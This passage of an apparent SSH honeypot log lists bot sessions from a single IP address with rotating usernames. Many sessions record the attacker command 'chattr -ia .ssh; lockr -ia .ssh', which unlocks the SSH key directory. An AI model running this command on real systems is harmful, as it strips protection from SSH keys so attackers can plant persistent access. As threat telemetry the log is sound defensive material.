  "src_ip": "2.26.86.177",
  "src_port": 41776,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:09:22.951255+00:00",
  "ended_at": "2026-08-27T05:09:23.783078+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2b037a4-f809-48ec-ab8c-f4dae8862aae",
  "name": "primal-earnest-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 33842,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:07:34.182813+00:00",
  "ended_at": "2026-08-27T05:07:35.239789+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "471282ba-4aa3-4800-819f-f352a4e47b9a",
  "name": "loyal-lonesome-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:07:18.879845+00:00",
  "ended_at": "2026-08-27T05:07:19.530003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a742849-3a2c-4d5c-b479-59c5f7d5df69",
  "name": "rustic-amiable-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:07:17.366530+00:00",
  "ended_at": "2026-08-27T05:07:18.260218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "56fcbcf7-9c64-43b9-aa4f-26d3d1c45612",
  "name": "dusky-vigilant-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 46860,
  "username": "pm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:05:27.832813+00:00",
  "ended_at": "2026-08-27T05:05:29.140827+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2241
 },
 {
  "id": "8aa4e2cb-8b37-4f77-b25c-7aee99f73fa7",
  "name": "faded-nimble-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46878,
  "username": "pm",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:05:13.169881+00:00",
  "ended_at": "2026-08-27T05:05:14.084802+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fb62742-145e-4bcc-b743-ff2bdc52e66c",
  "name": "gleaming-salty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 46866,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:05:10.573402+00:00",
  "ended_at": "2026-08-27T05:05:12.531375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a9d91d8-a940-43fa-b05b-6b8046438c1e",
  "name": "candid-woven-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 32822,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:03:08.035913+00:00",
  "ended_at": "2026-08-27T05:03:09.588707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b65979d-eb18-4cb5-9cec-03cfe12605f9",
  "name": "gentle-autumn-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 49382,
  "username": "jesus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T05:01:37.792100+00:00",
  "ended_at": "2026-08-27T05:01:39.262764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "3394da02-40b8-4fd2-990c-914b9669a7ee",
  "name": "eager-gnarled-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 34174,
  "username": "jesus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:01:17.555759+00:00",
  "ended_at": "2026-08-27T05:01:19.228316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d8bda32-2174-4ac2-a9af-6b80a001fc45",
  "name": "subtle-knotted-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49392,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T05:01:15.087015+00:00",
  "ended_at": "2026-08-27T05:01:16.928516+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "687312d7-5371-4627-b413-0afbdc9bee06",
  "name": "northern-solar-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37344,
  "username": "scraper",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:59:33.799633+00:00",
  "ended_at": "2026-08-27T04:59:35.939965+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "da37c4b3-1f84-4ab2-9d5e-75b38acaf40c",
  "name": "oaken-hearty-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37366,
  "username": "scraper",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:59:14.293811+00:00",
  "ended_at": "2026-08-27T04:59:15.313197+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74fcc468-46da-4e3a-bfee-b3373c8e3e98",
  "name": "steady-jolly-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:59:12.652319+00:00",
  "ended_at": "2026-08-27T04:59:13.674998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78e0ea51-bf3d-4140-aef5-b3a337317951",
  "name": "bashful-flinty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54336,
  "username": "stack",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:57:35.146509+00:00",
  "ended_at": "2026-08-27T04:57:36.073516+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2252
 },
 {
  "id": "be0614c2-54d7-42f3-a03f-ab3325fdc917",
  "name": "sturdy-ginger-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54348,
  "username": "stack",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:57:19.909112+00:00",
  "ended_at": "2026-08-27T04:57:21.627005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92df2fdb-239a-4c77-9883-7ce1fbef2844",
  "name": "twilight-indigo-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:57:18.190938+00:00",
  "ended_at": "2026-08-27T04:57:19.292114+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "971a3b3e-d54d-467a-ac5b-7c6cfedfcf79",
  "name": "ivory-sturdy-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 52080,
  "username": "mehdi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 321,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:55:40.603586+00:00",
  "ended_at": "2026-08-27T04:55:41.994966+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "fecefdd4-d635-4d80-bf04-6c0d698725cb",
  "name": "cunning-quaint-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52094,
  "username": "mehdi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:55:24.111455+00:00",
  "ended_at": "2026-08-27T04:55:25.741019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6a478052-296d-4e59-96e2-cb9dd5d90319",
  "name": "hazel-pristine-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 52092,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:55:22.859251+00:00",
  "ended_at": "2026-08-27T04:55:23.456680+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0625676f-e8b6-45ee-8c12-575b162587e3",
  "name": "courtly-fringed-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 39868,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:53:40.033002+00:00",
  "ended_at": "2026-08-27T04:53:41.077618+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "e83547c0-2414-4b73-80d7-06a92ebbc97c",
  "name": "whispering-mindful-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39890,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:53:24.408503+00:00",
  "ended_at": "2026-08-27T04:53:26.175558+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5bba471-99e3-423c-8ba7-37da07b04f53",
  "name": "electric-keen-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39874,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:53:22.580290+00:00",
  "ended_at": "2026-08-27T04:53:23.749603+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7a65124-2460-4337-9d44-8de2fa829983",
  "name": "austere-brazen-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 38690,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 312,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:51:35.348477+00:00",
  "ended_at": "2026-08-27T04:51:37.531776+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2231
 },
 {
  "id": "940211c1-638f-4edc-9833-7d503d0daddc",
  "name": "barren-austere-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38702,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:51:20.671531+00:00",
  "ended_at": "2026-08-27T04:51:22.607667+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "100a10b2-5b25-4130-9e1f-4a5df4b996ad",
  "name": "quartz-tranquil-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 38698,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:51:18.220260+00:00",
  "ended_at": "2026-08-27T04:51:20.045369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6605346a-8a20-4279-a7a3-5fd74ee2e6f4",
  "name": "curious-ashen-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 37838,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:49:31.561384+00:00",
  "ended_at": "2026-08-27T04:49:32.739291+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2225
 },
 {
  "id": "626c5aa7-65f4-41d6-bf9d-52e74d65a505",
  "name": "eager-daring-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 57458,
  "username": "sammy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:49:16.913803+00:00",
  "ended_at": "2026-08-27T04:49:18.278519+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f6c09eca-5ffc-499d-b9df-969afa7cc01b",
  "name": "marine-grassy-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 37852,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:49:14.954393+00:00",
  "ended_at": "2026-08-27T04:49:16.291831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99818851-7ea4-4d62-913b-65273d776767",
  "name": "barren-airy-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42160,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:47:24.670832+00:00",
  "ended_at": "2026-08-27T04:47:26.373253+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4c7e9bc1-9fe3-4e05-a308-75e2af031077",
  "name": "polar-feral-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:47:08.695127+00:00",
  "ended_at": "2026-08-27T04:47:10.304877+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9856a6fa-6a7d-4dfd-94e3-367049e847a0",
  "name": "seaward-opal-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54350,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:47:07.207079+00:00",
  "ended_at": "2026-08-27T04:47:08.080840+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d1d44ba-d548-40c2-9bff-c2694f2ca2bd",
  "name": "dapper-windswept-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:45:24.577959+00:00",
  "ended_at": "2026-08-27T04:45:25.818090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "12f4f41c-6dd2-47b4-aa8e-a9abffba547e",
  "name": "painted-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:45:10.251473+00:00",
  "ended_at": "2026-08-27T04:45:10.943304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f93c72ce-575e-42a7-9c1e-a198d90871c1",
  "name": "cheerful-russet-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:45:08.459497+00:00",
  "ended_at": "2026-08-27T04:45:09.635564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8712e8ca-65c1-4d9c-a9a6-0f37a32a77e2",
  "name": "sullen-lofty-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 39404,
  "username": "abdullah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 320,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:43:27.970027+00:00",
  "ended_at": "2026-08-27T04:43:29.456538+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2185
 },
 {
  "id": "babf98e3-834d-47ed-947e-b9743ece6d85",
  "name": "balmy-tawny-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39420,
  "username": "abdullah",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:43:13.147281+00:00",
  "ended_at": "2026-08-27T04:43:13.923012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "841b9f89-ebb8-41fc-b349-cfdda73a49de",
  "name": "somber-supple-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 39406,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:43:11.472692+00:00",
  "ended_at": "2026-08-27T04:43:12.528008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ae3bef40-401d-4101-a77c-049085b2d196",
  "name": "emerald-shifting-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:41:26.191133+00:00",
  "ended_at": "2026-08-27T04:41:27.762207+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "3ef78400-00ee-4b01-8cf7-be386bacbc88",
  "name": "emerald-fabled-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49010,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:41:10.304314+00:00",
  "ended_at": "2026-08-27T04:41:11.718935+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35c6b306-f7e1-4e1c-bdd1-c75df11cb2e9",
  "name": "zealous-northern-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48996,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:41:07.876593+00:00",
  "ended_at": "2026-08-27T04:41:09.689554+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2de09614-ad33-4341-acc9-e9c28fc203dc",
  "name": "autumn-courtly-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 54804,
  "username": "gourav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:39:25.454106+00:00",
  "ended_at": "2026-08-27T04:39:26.513841+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2163
 },
 {
  "id": "6756b29e-0782-4700-90b6-59a9effde601",
  "name": "hazel-coastal-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50486,
  "username": "gourav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:39:09.462197+00:00",
  "ended_at": "2026-08-27T04:39:11.204858+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50c01bc8-1b03-45a4-85e4-c4b336168929",
  "name": "hazel-clever-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 50470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:39:07.646781+00:00",
  "ended_at": "2026-08-27T04:39:08.825353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "402eea8c-7073-41a2-912e-007c524242f6",
  "name": "orderly-thawing-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 56234,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:37:20.979229+00:00",
  "ended_at": "2026-08-27T04:37:22.242100+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2155
 },
 {
  "id": "00d24c69-5f2e-4537-96bf-e8f0ea47c45c",
  "name": "frosty-feral-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56260,
  "username": "soporte",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:04.504215+00:00",
  "ended_at": "2026-08-27T04:37:06.374030+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53c1a44a-2258-40b2-ba26-a987f4d69816",
  "name": "thawing-faded-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56246,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:37:02.398473+00:00",
  "ended_at": "2026-08-27T04:37:03.879166+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81aba5a5-1868-45cf-ba64-b52f1dc6eb5f",
  "name": "umber-frank-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 56734,
  "username": "Test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 315,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:35:18.529512+00:00",
  "ended_at": "2026-08-27T04:35:19.542165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2137
 },
 {
  "id": "b6a37fd8-baf1-4ddd-945b-c9987396ca44",
  "name": "solar-lonesome-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 48952,
  "username": "Test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:34:56.965843+00:00",
  "ended_at": "2026-08-27T04:34:57.742093+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e70a86a-c75d-46c3-90ad-d38507aa43be",
  "name": "zealous-slender-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 56742,
